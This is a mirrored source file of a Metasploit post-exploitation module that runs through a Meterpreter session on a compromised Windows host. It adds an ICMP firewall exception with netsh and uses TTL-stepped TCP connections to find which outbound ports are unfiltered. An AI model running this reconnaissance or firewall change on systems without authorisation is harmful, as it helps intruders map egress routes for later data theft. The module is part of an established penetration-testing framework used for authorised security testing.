Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/recon/outbound_ports.rb
19567 views
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Priv
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Outbound-Filtering Rules',
16
'Description' => %q{
17
This module makes some kind of TCP traceroute to get outbound-filtering rules.
18
It will try to make a TCP connection to a certain public IP address (this IP
19
does not need to be under your control) using different TTL incremental values.
20
This way if you get an answer (ICMP TTL time exceeded packet) from a public IP
21
device you can infer that the destination port is allowed. Setting STOP to
22
true the module will stop as soon as you reach a public IP (this will generate
23
less noise in the network).
24
},
25
'License' => MSF_LICENSE,
26
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
27
'Platform' => 'win',
28
'SessionTypes' => ['meterpreter'],
29
'References' => [
30
['URL', 'http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html']
31
],
32
'Compat' => {
33
'Meterpreter' => {
34
'Commands' => %w[
35
stdapi_railgun_api
36
]
37
}
38
},
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [],
42
'Reliability' => []
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptAddress.new('ADDRESS', [ true, 'Destination IP address.']),
50
OptInt.new('HOPS', [true, 'Number of hops to get.', 3]),
51
OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]),
52
OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).', '80,443']),
53
OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]),
54
OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true])
55
]
56
)
57
end
58
59
def icmp_setup
60
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_RAW', 'IPPROTO_ICMP')
61
if handler['GetLastError'] == 0
62
vprint_good('ICMP raw socket created successfully')
63
else
64
print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
65
return nil
66
end
67
68
r = client.railgun.ws2_32.bind(handler['return'], "\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00" * 8, 16)
69
if r['GetLastError'] == 0
70
vprint_good("ICMP socket successfully bound to #{session.session_host}")
71
else
72
print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}")
73
return nil
74
end
75
76
# int WSAIoctl(
77
# _In_ SOCKET s,
78
# _In_ DWORD dwIoControlCode,
79
# _In_ LPVOID lpvInBuffer,
80
# _In_ DWORD cbInBuffer,
81
# _Out_ LPVOID lpvOutBuffer,
82
# _In_ DWORD cbOutBuffer,
83
# _Out_ LPDWORD lpcbBytesReturned,
84
# _In_ LPWSAOVERLAPPED lpOverlapped,
85
# _In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
86
# );
87
88
sio_rcvall = 0x98000001
89
r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0, 4, nil, nil)
90
if r['GetLastError'] == 0
91
return handler['return']
92
else
93
print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}")
94
return nil
95
end
96
end
97
98
def tcp_setup(ttl)
99
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
100
if handler['GetLastError'] == 0
101
vprint_status('TCP socket created successfully')
102
else
103
print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}")
104
return nil
105
end
106
107
# 0x8004667E = FIONBIO
108
# Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value
109
cmd = 0x8004667E
110
r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1)
111
if r['GetLastError'] == 0
112
vprint_status('TCP socket successfully configured in non-blocking mode')
113
else
114
print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}")
115
return nil
116
end
117
118
# int setsockopt(
119
# _In_ SOCKET s,
120
# _In_ int level,
121
# _In_ int optname,
122
# _In_ const char *optval,
123
# _In_ int optlen
124
# );
125
ipproto_ip = 0
126
ip_ttl = 4
127
r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4)
128
if r['GetLastError'] == 0
129
vprint_status("TTL value successfully set to #{ttl}")
130
return handler['return']
131
else
132
print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}")
133
return nil
134
end
135
end
136
137
def connections(remote, dst_port, h_icmp, h_tcp, to)
138
sock_addr = "\x02\x00"
139
sock_addr << [dst_port].pack('n')
140
sock_addr << Rex::Socket.addr_aton(remote)
141
sock_addr << "\x00" * 8
142
r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16)
143
144
# A GetLastError == 1035 is expected since the socket is set to non-blocking mode
145
unless r['GetLastError'] == 10035
146
print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}")
147
return
148
end
149
150
from = ' ' * 16
151
152
begin
153
::Timeout.timeout(to) do
154
r = client.railgun.ws2_32.recvfrom(h_icmp, "\x00" * 100, 100, 0, from, 16)
155
hop = Rex::Socket.addr_ntoa(r['from'][4..7])
156
return hop
157
end
158
rescue ::Timeout::Error
159
return nil
160
end
161
end
162
163
def run
164
unless is_admin?
165
print_error("You don't have enough privileges. Try getsystem.")
166
return
167
end
168
169
version = get_version_info
170
if version.xp_or_2003?
171
print_error('Windows XP/Server 2003 is not supported')
172
return
173
end
174
175
output = cmd_exec('netsh', ' advfirewall firewall add rule name="All ICMP v4" dir=in action=allow protocol=icmpv4:any,any')
176
print_status("ICMP firewall IN rule established: #{output}")
177
178
session.railgun.ws2_32
179
remote = datastore['ADDRESS']
180
to = datastore['TIMEOUT']
181
182
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
183
184
ports.each do |dport|
185
pub_ip = false
186
print_status("Testing port #{dport}...")
187
0.upto(datastore['HOPS'] - 1) do |i|
188
i += datastore['MIN_TTL']
189
h_icmp = icmp_setup
190
break if h_icmp.nil?
191
192
h_tcp = tcp_setup(i)
193
break if h_tcp.nil?
194
195
hop = connections(remote, dport, h_icmp, h_tcp, to)
196
if hop.nil?
197
print_error("#{i} *")
198
else
199
print_good("#{i} #{hop}")
200
unless Rex::Socket.is_internal?(hop)
201
pub_ip = true
202
break if datastore['STOP']
203
end
204
end
205
client.railgun.ws2_32.closesocket(h_tcp)
206
client.railgun.ws2_32.closesocket(h_icmp)
207
end
208
print_good("Public IP reached. The TCP port #{dport} is not filtered") if pub_ip
209
end
210
end
211
end
212
213